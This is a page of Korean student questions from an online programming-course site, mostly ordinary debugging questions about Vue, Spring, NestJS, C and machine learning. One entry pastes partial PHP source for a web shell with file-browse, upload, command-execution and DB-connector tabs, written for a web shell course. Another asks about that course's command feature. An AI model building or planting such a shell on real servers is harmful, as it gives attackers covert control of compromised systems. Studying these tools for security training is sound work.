묻고 답해요
164만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
해결됨[2021] 요즘 누가 유료로 웹서비스 구축하나, 파이어베이스의 모든 것 - Vue.js
v-lazy-image 오류에 관해 문의 드립니다.
안녕하세요 데이비드 선생님 수업을 수강하게 된 학생입니다. 금일 유용한 Vue 3rd part 모듈소개의 v-lazy-image 부분을 진행하는데 오류가 발생하였는데, 제가 미흡하여 오류의 원인을 파악할 수 없어서 문의드립니다. 영상에서는 약 13분부터 입니다. import VLazyImage from "v-lazy-image"; 를 추가하고 cmd 를 통해 yarn run serve 실행하는데 이미지와 같은 오류가 발생하였습니다. 웹 화면상에도 이미지가 나타나지 않습니다. 혹시 가능하시다면 해당 오류의 원인을 알 수 있을까요? 부탁드립니다. 강의 잘 보고 있습니다. 감사합니다.
-
해결됨선형대수학개론
Invertible linear Transformation
T의 inverse가 S 라고 이해하면 될까요?
-
미해결Skill-Up! 배워서 바로 쓰는 웹쉘 제작
질문
혹시 DB커넥터랑 커맨드 기능만 만들어도 사용가능한가요?
-
미해결[리뉴얼] React로 NodeBird SNS 만들기
클릭시 파란색 배경으로 focus
- 학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! - 먼저 유사한 질문이 있었는지 검색해보세요. - 서로 예의를 지키며 존중하는 문화를 만들어가요. - 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하기를 이용해주세요. 모바일에서 랜더링된 뷰를 클릭할 때 파란색으로 focus가 잡히는 부분을 없애고 싶은데 혹시 어떻게 해야 할까요?개발자 도구로 element를 선택했을때와 같은 모습입니다 ㅠㅠ
-
해결됨Skill-Up! 배워서 바로 쓰는 웹쉘 제작
질문 있어요! 제발 해결해주세요
이 소스로 실행 해보면 Name,Type,Date,Action 부분 태이블에 아무것도 안 떠요 __________소스___________ <? header("Content-Type: text/html; charset=UTF-8"); $mode = $_REQUEST["mode"]; $path = $_REQUEST["path"]; $page = basename($_SERVER["PHP_SELF"]); if(empty($path)){ $tempFileName = basename(__FILE__); $tempPath = realpath(__FILE__); $path = str_replace($tempFileName, "", $tempPath); $path = str_replace("\\", "/", $path); } else { $path = realpath($path)."/"; $path = str_replace("\\", "/", $path); } # Dir list retuurn function function getDirList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir($handler)) { if(is_dir($getPath.$file) == "1") { $listArr[] = $file; } } closedir($handler); return $listArr; } #File List return function function getFileList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir($handler)) { if(is_dir($getPath.$file) != "1") { $listArr[] = $file; } } closedir($handler); return $listArr; } ?> <!DOCTYPE html> <html lang="ko"> <head> <title>Space_Pig; webshell</title> <!-- 합쳐지고 최소화된 최신 CSS --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css"> <!-- 부가적인 테마 --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap-theme.min.css"> <!-- 합쳐지고 최소화된 최신 자바스크립트 --> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/bootstrap.min.js"></script> </head> <body> <div class="container-fluid"> <div class="row"> <div class="col-md-3"></div> <div class="col-md-6"> <h3>Webshell <small>Create by space_pig;</small></h3> <hr> <ul class="nav nav-tabs"> <li role="presentation" <?if(empty($mode) || $mode == "fileBrowser") echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileBrowser">File Browser</a></li> <li role="presentation" <?if($mode == "fileUpload") echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileupload">File upload</a></li> <li role="presentation" <?if($mode == "command") echo "class=\"active\"";?>><a href="<?=$page?>?mode=command">Command Execustion</a></li> <li role="presentation" <?if($mode == "db") echo "class=\"active\"";?>><a href="<?=$page?>?mode=db">DB connector</a></li> <li role="presentation"><a href="<?=$page?>?mode=logout">Logout</a></li> </ul> <br> <? if(empty($mode) || $mode == "fileBrowser") { ?> <form action="<?=$page?>?mode=fileBrowser" metho="GET"> <div class="input-group"> <span class="input-group-addon">Current Path</span> <input type="text" class="form-control" placeholder="Path Input..." name="path" value="<?=$path?>"> <span class="input-group-btn"> <button class="btn btn-default" type="submit">Move</button> </span> </div> </form> <hr> <div class="table-responsive"> <table class="table table-bordered table-hover"style="table-layout: fixed; word-break: break-all;"> <thead> <tr class="active"> <th style="width: 50%" class="text-center">Name</th> <th style="width: 14%" class="text-center">Type</th> <th style="width: 18%" class="text-center">Date</th> <th style="width: 18%" class="text-center">Action</th> </tr> </thead> <tbody> <? $dirList = getDirList($path); for($i=0; $i<count($dirList); $i++) { if($dirList[$i] != ".") { $dirDate = date("Y-m-d H:i", filetime($path.$dirList[$i])) ?> <tr> <td style="vertical-align: middle"><span class="glyphicon glyphicon-folder-open" aria-hidden="true"></span>%nbsp;%nbsp;<?=$dirList[$i]?></td> <td style="vertical-align: middle" class="text-center"><kbd>Directory</kbd></td> <td style="vertical-align: middle" class="text-center"><?=$dirDate?></td> <td style="vertical-align: middle" class="text-center"> <? if($dirList[$i] != "..") { ?> <div class="btn-group btn-group-sm" role="group" aria-label=""> <button type="button" class="btn btn-danger" title="File Delete"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button> </div> <? } ?> </td> </tr> <? } } ?> <? $fileList = getFileList($path); for($i=0; $i<count($fileList); $i++); { $fileDate = date("Y-m-d H:i", filemtime($path.$dirList[$i])); ?> <tr> <td style="vertical-align: middle"><span class="glyphicon glyphicon-file" aria-hidden="true"></span> <?=$fileList[$i]?></td> <td style="vertical-align: middle" class="text-center"><kbd>File</kbd></td> <td style="vertical-align: middle" class="text-center"><?=$fileDate?></td> <td style="vertical-align: middle" class="text-center"> <div class="btn-group btn-group-sm" role="group" aria-label=""> <button type="button" class="btn btn-info" title="File Download"><span class="glyphicon glyphicon-save" aria-hidden="true"></span></button> <button type="button" class="btn btn-warning" title="File Modify"><span class="glyphicon glyphicon-wrench" aria-hidden="true"></span></button> <button type="button" class="btn btn-danger" title="File Delete"><span class="glyphicon glyphicon-trash" aria-hidden="true"></span></button> </div> </td> </tr> <? } ?> </tbody> </table> </div> <? }?> <hr> <p class="text-muted text-center">Copyrightⓒ 2021, Space_pig, ALL rights reserved.</p> </div> <div class="col-md-3"></div> </div> </div> </body> </html>
-
미해결스프링 MVC 2편 - 백엔드 웹 개발 활용 기술
타입오류시의 rejected value
강의 잘듣고 있습니다.!! 강의도중 조금 헷갈리는 부분이 있어서 질문 하게 되었습니다. 검증에 걸리는 값을 입력하고 저장할시에 사용자가 입력한 데이터가 남아있는이유는 사용자가 잘못 입력한 값을 @ModelAttribute 로 받아서 다시 모델을 통해 보내주기 때문으로 학습했습니다. 그렇다면 @ModelAttribute로 바인딩시 타입오류가 나면 ModelAttribute로 받은 필드는 null 값이지만 타임리프에서 BindingResult의 rejectedValue를 가져다가 렌더링 시켜주어 사용자 입력한 값이 남아있는게 맞는지 질문드립니다.
-
미해결정말 쉽게 풀어보는 코딩 테스트 top 기본 문제 (with 자바)
DFS 방식으로 푼 것이 맞나요?
안녕하세요. 강의 열심히 잘 듣고 있습니다 :) 궁금한 것이 있어서 질문드립니다. 우선 NumberOfIsland_bfs는 깊이우선탐색을 하는 것이 이해가 되는데 이번 문제는 이해가 잘 되지 않습니다. 오히려 BinaryTreeLevelOrder의 문제유형과 비슷해 보이고 굳이 따지자면 BFS유형인것 같아서요 (root노드의 자식 노드들을 전반적으로 탐색하니까) BinaryTreeLevelOrder와 다른 점이라면 자료구조가 큐가 아니라 스택이라는 것에 차이정도로 밖에 느껴지지 않습니다. DFS방식이라면 1,2,4,6,5,3식으로 탐색을 해야하는 것이 맞지 않나요? 제 생각에는 오히려 이전 강의에서 재귀함수로 푼것이 DFS방식이라는 생각이 듭니다. 이번 문제 해설이 DFS방식으로 푼 것이 맞는지? 맞다면 어떻게 이해하면 좋을지 알려주시면 감사하겠습니다.
-
미해결파이썬 무료 강의 (활용편3) - 웹 스크래핑 (5시간)
res = requests.get("http://nadocoding.tistory.com")
영상에서는 저 코드로 하면 응답코드가 403으로 뜨는데 저는 200으로 뜨는데 영상이 오래되서 그런건가요?
-
미해결스프링 핵심 원리 - 기본편
IntelliJ 에러
안녕하세요! 강의를 듣던중 어느날 사진과 같이 파일들이 빨간색 표시가 되고, 이전과 다르게 실행이 되지 않게 되었습니다. Java 버전은 Project Structure에 가보니 11로 제대로 되어 있는데 어떤 부분에서 문제 있는지 잘 모르겠습니다. 혹시 아실까요..?
-
해결됨Vue.js + TypeScript 완벽 가이드
vue3 typescript
안녕하세요 판교님! 강의 복습하다가 질문합니다! vue3에서도 typescript를 사용하고 싶은데 지금 이 강의와 크게 사용법이 차이 없을까요? 특히 vuex 부분에서 vue2와 vue3의 다른 점이 있는지 궁금합니다! 따로 참고자료도 찾아봤지만 아직은 어려운느낌 이네요ㅠㅠ
-
미해결취미로 해킹#3(WebGoat)
Intercept
인터셉트를 하고 json xml로 수정후 json절을 수정 하려는데 xml절이 띄어쓰가 없어집니다
-
미해결Slack 클론 코딩[백엔드 with NestJS + TypeORM]
JwtService는 어떤식으로 mock해야하나요?
UserService가 아래처럼 UserRepository와 JwtService를 DI를 받아야합니다. (JwtService는 공식문서에서 본대로 nest자체에서 제공하는겁니다.) 그래서 우선 signup함수가 함수가 맞는지 비교하는 가벼운 테스트코드를 작성해봤는데 JwtService관련 에러가 나오는데 test code내에서 imports: [JwtService] 이런식으로도 해봤는데 해결이 어려워서 질문드립니다.
-
미해결자바(Java) 알고리즘 문제풀이 입문: 코딩테스트 대비
replaceAll 을 이용해서 문제를 풀어도 문제는 없나요 ?
(사진)
-
미해결C# 프로그래밍
재생이 안되는 강의가 있습니다.
C#프로그래밍 무료강의를 제작해주셔서 감사합니다 강의 내용 중 아래 항목이 강의 재생을 할 수 없어 문의드립니다. : 동영상을 볼 수 없습니다. 3강. 데이터형, 변환, 표준 입력형식 - 데이터형 (5/5) > 아래 링크로 강의 수강 : https://youtu.be/io4YrVFCCV0 4강. 기본 문법 - C# 기본 문법 (2/2) > 아래 링크로 강의 수강 : https://youtu.be/8IyoaeBs9T4 8강. 클래스 클래스 (2/2) > 아래 링크로 강의 수강 : https://youtu.be/PE4nDJXvXhQ 11강. 델리게이트와 이벤트 델리게이트와 이벤트 > 아래 링크로 강의 수강 : https://youtu.be/B-yaWp900sQ 해당 링크의 강의가 맞지 않다면 확인 및 수정 부탁드립니다. 감사합니다.
-
미해결C 프로그래밍 - 입문부터 게임 개발까지
printf 서식 문자열에 전달된 인수가 너무 많아서 빌드실패ㅠㅠ 도와주세요!
#include <stdio.h> int main(void) { char name[256]; printf("이름이 뭐에요?"); scanf_s("%s", name, sizeof(name)); int age; printf("몇살이에요?"); scanf_s("%d", &age); float weight; pirntf("몸무게는 몇 kg이에요?"); scanf_s("%f", &weight); double height; printf("키는 몇 cm 이에요?"); scanf_s("&lf", &height); char what[256]; printf("무슨 범죄를 저질렀어요?"); scanf_s("%s", what, sizeof(what)); // 조서 내용 출력 printf("\n\n~~~ 범죄자 정보 ~~~\n\n"); printf(" 이름 : &s\n", name); printf(" 나이 : &d\n", age); printf(" 몸무게 : &.2f\n", weight); printf(" 키 : &.2lf\n", height); printf(" 범죄명 : &s\n", what); return 0; } 코드에서 어떤게 잘못되었는지 모르겠습니다 도와주세요!
-
미해결[개정판] 파이썬 머신러닝 완벽 가이드
경사 하강법 RSS 질문
안녕하세요 파이썬 머신러닝 완벽가이드를 통해 잘 공부하고 있는 학생입니다. 다름이 아니고 경사하강법 파트를 공부하다 질문 사항이 생겨 글 남깁니다. 경사하강법의 원리를 배우며, 손실함수의 최저점을 찾기 위해 (손실함수 값이 낮아지는 방향성을 찾기 위해) R(w0,w1)에 대해 편미분을 하는 것은 이해했으나, w1(new) = w1(old) + n(보정계수)*(편미분값) w0(new) = w1(old) + n(보정계수)*(편미분값) w1,w0을 업데이트 하는 과정에서 왜 원래의 값에서 보정계수*편미분값을 빼게 되는 것인지 그 원리가 잘 이해되지 않습니다 ㅠㅠ 편미분은 대략 기울기, 변화량 정도를 의미하는데 .. 그 값에 보정계수를 곱하고, 원래 값에서 빼게 된 값이 그 기울기만큼 감소한 지점의 f(w) 함숫값(?)이 되는건지..? 그렇다면 왜 그렇게 되는 건지 궁금합니다 ㅠㅠ 제가 질문을 제대로 설명한 건지 모르겠네요. 강의 항상 잘듣고 있습니다. 감사합니다.
-
해결됨탄탄한 백엔드 NestJS, 기초부터 심화까지
postman 응답 처럼 swagger 에서도 success 를 추가할수 없을까요?
export class ResultDto<T> { @ApiProperty() success: boolean; @ApiProperty() data: T } // ---- cats.controller.ts @ApiResponse({ type: ResultDto<ReadOnlyCatDto> }) @Post() async signUp(@Body() body: CatRequestDto) { return await this.catsService.signUp(body); } 이런 식으로 단순하고 typescript 의 제네릭으로 해봤는데 안되어 질문들입니다.
-
미해결대세는 쿠버네티스 (초급~중급편)
대시보드 사용 시 오류
안녕하세요 대시보드에서 Pod를 생성하려고 하니 위와 동일한 문제가 발생하네요 Deploying file has failed 라고 나오네요.. 하기에도 동일한 오류 내용이 있는 것 같아 답글을 보고 모든 권한으로 리소스에 접근할 수 있도록 ClusterRole 새로 추가는 했는데도 안되네요.. 추가로 yml 파일로 생성하여 master 에서 생성하면 pod는 생성되지만, 대시보드에 들어가서 shell in container1, 2로 들어가려고 하니 unable to update connection: pod does not exist. 라고 뜨네요..
-
미해결탄탄한 백엔드 NestJS, 기초부터 심화까지
mongodb에서 Auto_incement 기능을 사용할수 있는 방법이 있나요?
저는 이번 강의로 mongoose는 처음 이용해 보는데요. DB 의 _id 값에 SQL의 Auto_increment 이용하듯이 Int 타입으로 값을 넣고 싶은데요 어떻게 해야 하나요? express로 설계할 때에는 추가적으로 Collection을 만들고 거기에서 DB에 입력할때 값을 받아오고 숫자를 늘려주는 방법으로 했었는데요.. Nest로 설계하기는 약간 복잡한거 같아서 질문드립니다.
-
미해결[개정판] 파이썬 머신러닝 완벽 가이드
API 의미 관련 문의
안녕하세요 17:53분 '머신러닝을 위한 넘파이와 판다스의 중요성' 장표에서 사이킷런은 API 구성이 매우 간결하고 직관적 이어서.. 라는 부분이 있는데 여기서 'API'의 의미가 정확히 어떻게 될까요? 사이킷런 안에 포함된 다양한 라이브러리들을 사용하기 위한 사용규칙, 문법 정도로 이해하면 될까요?